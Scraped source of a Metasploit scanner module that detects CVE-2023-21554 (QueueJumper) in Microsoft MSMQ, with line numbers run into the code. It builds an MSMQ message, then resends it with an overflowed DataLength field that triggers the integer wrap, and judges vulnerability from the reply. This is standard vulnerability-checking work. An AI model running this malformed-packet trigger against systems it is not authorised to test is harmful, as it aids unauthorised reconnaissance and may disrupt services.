Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/msmq/cve_2023_21554_queuejumper.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'bindata'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::Tcp9include Msf::Auxiliary::Scanner10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'CVE-2023-21554 - QueueJumper - MSMQ RCE Check',17'Description' => %q{18This module checks the provided hosts for the CVE-2023-21554 vulnerability by sending19a MSMQ message with an altered DataLength field within the SRMPEnvelopeHeader that20overflows the given buffer. On patched systems, the error is caught and no response21is sent back. On vulnerable systems, the integer wraps around and depending on the length22could cause an out-of-bounds write. In the context of this module a response is sent back,23which indicates that the system is vulnerable.24},25'Author' => [26'Wayne Low', # Vulnerability discovery27'Haifei Li', # Vulnerability discovery28'Bastian Kanbach <[email protected]>' # Metasploit Module, @__bka__29],30'References' => [31[ 'CVE', '2023-21554' ],32[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554' ],33[ 'URL', 'https://securityintelligence.com/posts/msmq-queuejumper-rce-vulnerability-technical-analysis/' ]34],35'DisclosureDate' => '2023-04-11',36'License' => MSF_LICENSE,37'Notes' => {38'Stability' => [ CRASH_SAFE ],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => [REPEATABLE_SESSION],41'AKA' => ['QueueJumper']42}43)44)45register_options([46Opt::RPORT(1801)47])48end4950# Preparing message struct according to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/f9e71595-339a-4cc4-8341-371e0a4cb2325152class BaseHeader < BinData::Record53# BaseHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/058cdeb4-7a3c-405b-989c-d32b9d6bddae)54#55# Simple header containing a static signature, packet size, some flags and some sort of timeout value for the message to arrive56#5758endian :big5960uint8 :version_number61uint8 :reserved62uint16 :flags63uint32 :signature64uint32le :packet_size65uint32le :time_to_reach_queue66end6768class UserHeader < BinData::Record69# UserHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/056b43bc-2466-4342-8504-1630310d5965)70#71# The UserHeader is an essential header that defines the destination, message id,72# source, sent time and expiration time73#7475endian :big7677string :source_queue_manager, length: 1678string :queue_manager_address, length: 1679uint32le :time_to_be_received80uint32le :sent_time81uint32le :message_id82uint32 :flags83uint16le :destination_queue_length84string :destination_queue85string :padding86end8788class MessagePropertiesHeader < BinData::Record89# MessagePropertiesHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/b219bdf4-1bf6-4688-94d8-25fdba45e5ec)90#91# This header contains meta information about the message like its label,92# message size and whether encryption is used.93#9495endian :big9697uint8 :flags98uint8 :label_length99uint16 :message_class100string :correlation_id, length: 20101uint32 :body_type102uint32 :application_tag103uint32 :message_size104uint32 :allocation_body_size105uint32 :privacy_level106uint32 :hash_algorithm107uint32 :encryption_algorithm108uint32 :extension_size109string :label110end111112class SRMPEnvelopeHeader < BinData::Record113# SRMPEnvelopeHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/062b8317-2ade-4b1c-804d-1674b2fdcad3)114#115# This header contains information about the SOAP envelope of the message.116# It includes information about destination queue, label, message and sent117# or expiration dates.118# The Data field contains a SRMP Message Structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/mc-mqsrm/38cfc717-c703-46aa-a145-34f60b79399b)119#120121endian :big122123uint16 :header_id124uint16 :reserved125uint32le :data_length126string :data127string :padding128end129130class CompoundMessageHeader < BinData::Record131# CompoundMessageHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/ecf70c09-d312-4afc-9e2c-f61a5c827f47)132#133# This header contains information about the SRMP compound message.134# This is basically a HTTP message containing HTTP headers and a SOAP135# body that defines parameters like the message destination, sent date,136# label and some more.137#138139endian :big140141uint16le :header_id142uint16 :reserved143uint32le :http_body_size144uint32le :msg_body_size145uint32le :msg_body_offset146string :data147end148149class ExtensionHeader < BinData::Record150# ExtensionHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/baf230bf-7f15-4d03-bd1d-f8276608a955)151#152# Header detailing if any further headers are present. In this case153# no further headers were appended.154#155156endian :big157158uint32le :header_size159uint32le :remaining_headers_size160uint8 :flags161string :reserved, length: 3162end163164def send_message(msg)165connect166sock.put(msg)167response = sock.timed_read(1024)168disconnect169return response170end171172def run_host(ip)173base_header = BaseHeader.new174175# Version number is always 0x10176base_header.version_number = 16177178base_header.reserved = 0179180# Flags: PR=3 (Message Priority)181base_header.flags = 768182183# Signature is static and always set to 'LIOR'184base_header.signature = 0x4C494F52185186# TimeToReachQueue set to 'infinite' (0xFFFFFFFF)187base_header.time_to_reach_queue = 4294967295188189user_header = UserHeader.new190191# SourceQueueManager is set to a null UUID, since SRMP Messages use the SOAP Headers for this192user_header.source_queue_manager = "\x00" * 16193194# QueueManagerAddress is set to a null UUID, since SRMP Messages use the SOAP Headers for this195user_header.queue_manager_address = "\x00" * 16196197user_header.time_to_be_received = 0198199# SentTime is set to an arbitrary value. For this purpose it doesn't matter if it's in the past200user_header.sent_time = 1690217059201202user_header.message_id = 1203204# Flags: RC=1, DQ=7 (Direct Format Type), F=1 (MessagePropertiesHeader present), J=1 (HTTP used)205user_header.flags = 18620418206207# An arbitrary ip address and queue name was chosen to send the message.208# Usually this need to match an existing IP address and queue name, however209# for this Proof-of-Concept it doesn't matter what values are used.210user_header.destination_queue = "http://192.168.10.100/msmq/private$/queuejumper\x00".encode('utf-16le')211212user_header.destination_queue_length = user_header.destination_queue.length213user_header.padding = ''214user_header_padding_required = (4 - (user_header.to_binary_s.length % 4)) % 4215user_header.padding = "\x00" * user_header_padding_required216217message_properties_header = MessagePropertiesHeader.new218message_properties_header.flags = 0219message_properties_header.message_class = 0220message_properties_header.correlation_id = "\x00" * 20221message_properties_header.body_type = 0222message_properties_header.application_tag = 0223224# Usually this field contains the size of the message. In SRMP messages this is handles within the SOAP headers225message_properties_header.message_size = 0226227message_properties_header.allocation_body_size = 0228message_properties_header.privacy_level = 0229message_properties_header.hash_algorithm = 0230message_properties_header.encryption_algorithm = 0231message_properties_header.extension_size = 0232233# Label of the message was set to the arbitrary value 'poc'234message_properties_header.label = "poc\x00".encode('utf-16le')235236message_properties_header.label_length = message_properties_header.label.length / 2237238srmp_envelope_header = SRMPEnvelopeHeader.new239srmp_envelope_header.header_id = 0240srmp_envelope_header.reserved = 0241242# The payload within the SRMPEnvelopeHeader structure is a SOAP request that defines message label, destination queue243# and expiry and sent dates.244# Usually the destination information need to match the IP address and queue name, however245# for this Proof-of-Concept it doesn't matter what values are used.246srmp_envelope_header.data = <<~EOF.chomp247<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" \r248xmlns="http://schemas.xmlsoap.org/srmp/">\r249<se:Header>\r250<path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1">\r251<action>MSMQ:poc</action>\r252<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r253<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r254</path>\r255<properties se:mustUnderstand="1">\r256<expiresAt>20600609T164419</expiresAt>\r257<sentAt>20230724T164419</sentAt>\r258</properties>\r259</se:Header>\r260<se:Body></se:Body>\r261</se:Envelope>\r\n\r\n\x00262EOF263264srmp_envelope_header.data = srmp_envelope_header.data.encode('utf-16le')265srmp_envelope_header.data_length = srmp_envelope_header.data.length / 2266srmp_envelope_header_padding_required = (4 - (srmp_envelope_header.to_binary_s.length % 4)) % 4267srmp_envelope_header.padding = "\x00" * srmp_envelope_header_padding_required268269compound_message_header = CompoundMessageHeader.new270271# HeaderId is set to an arbitrary value272compound_message_header.header_id = 500273274compound_message_header.reserved = 0275276# MsgBodySize denotes the size of the actual message277compound_message_header.msg_body_size = 7278279# MsgBodyOffset is the offset of the actual message within the CompoundMessageHeader payload280compound_message_header.msg_body_offset = 995281282# The data field within the CompoundMessageHeader structure contains a HTTP-POST request that is used to submit the message283# to MSMQ. It contains the destination host, the SOAP envelope from SRMPEnvelopeHeader, sent and expiry dates. The destination284# addresses and queue names don't need to match for this proof-of-concept to work. With incorrect information the message will285# never reach the destination, however parsing of the structure and triggering the vulnerable code sequence happens before anyway.286compound_message_header.data = <<~EOF.chomp287POST /msmq HTTP/1.1\r288Content-Length: 816\r289Content-Type: multipart/related; boundary="MSMQ - SOAP boundary, 53287"; type=text/xml\r290Host: 192.168.10.100\r291SOAPAction: "MSMQMessage"\r292Proxy-Accept: NonInteractiveClient\r293\r294--MSMQ - SOAP boundary, 53287\r295Content-Type: text/xml; charset=UTF-8\r296Content-Length: 606\r297\r298<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" \r299xmlns="http://schemas.xmlsoap.org/srmp/">\r300<se:Header>\r301<path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1">\r302<action>MSMQ:poc</action>\r303<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r304<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r305</path>\r306<properties se:mustUnderstand="1">\r307<expiresAt>20600609T164419</expiresAt>\r308<sentAt>20230724T164419</sentAt>\r309</properties>\r310</se:Header>\r311<se:Body></se:Body>\r312</se:Envelope>\r313\r314--MSMQ - SOAP boundary, 53287\r315Content-Type: application/octet-stream\r316Content-Length: 7\r317Content-Id: body@ff3af301-3196-497a-a918-72147c871a13\r318\r319Message\r320--MSMQ - SOAP boundary, 53287--\x00321EOF322compound_message_header.http_body_size = compound_message_header.data.length323324extension_header = ExtensionHeader.new325326# Extension header will be empty in this case. The length is set to the minimal value of 12.327extension_header.header_size = 12328329extension_header.remaining_headers_size = 0330extension_header.flags = 0331extension_header.reserved = "\x00" * 3332333# Total packet size within the BaseHeader is calculated, now that all message parts were instantiated334base_header.packet_size = base_header.to_binary_s.length + user_header.to_binary_s.length + message_properties_header.to_binary_s.length + srmp_envelope_header.to_binary_s.length + compound_message_header.to_binary_s.length + extension_header.to_binary_s.length335336# A normal message is sent to the server. This should yield a result for both, vulnerable and patched MSMQ instances337response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)338339if !response340print_error('No response received due to a timeout')341return342end343344if response.include?('LIOR')345# Response from server contains the static signature value 'LIOR'. Presence of MSMQ is confirmed346print_status('MSMQ detected. Checking for CVE-2023-21554')347else348print_error('Service does not look like MSMQ')349return350end351352# This statement increases the DataLength field within the SRMPEnvelopeHeader by 0x80000000. This will cause353# an integer overflow, that overflows the 4 integer bytes. By adding this value the least significant 4 bytes will354# remain the same, to ensure that a vulnerable MSMQ instance doesn't try to access invalid memory. This means that355# vulnerable instances are expected to sent a normal response, like for the first, unmodified packet.356#357# Patched instances will detect the overflow, throw an exception and stop processing the message. No response is expected.358srmp_envelope_header.data_length = srmp_envelope_header.data_length + 2147483648359360response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)361362if response.nil?363print_error('No response received, MSMQ seems to be patched')364return365end366367if response.include?('LIOR')368print_good('MSMQ vulnerable to CVE-2023-21554 - QueueJumper!')369370# Add Report371report_vuln(372host: ip,373port: rport,374proto: 'tcp',375name: name,376info: 'Missing Microsoft Windows patch for CVE-2023-21554',377refs: references378)379380else381print_error('Unknown response detected upon sending a malformed message. MSMQ might be vulnerable, but the behaviour is unusual')382end383rescue ::Rex::ConnectionError384print_error('Unable to connect to the service')385rescue ::Errno::ECONNRESET386print_error('Connection reset by service')387rescue ::Errno::EPIPE388print_error('pipe error')389rescue Timeout::Error390print_error('Timeout after waiting for service to respond')391rescue StandardError => e392print_error(e)393end394end395396397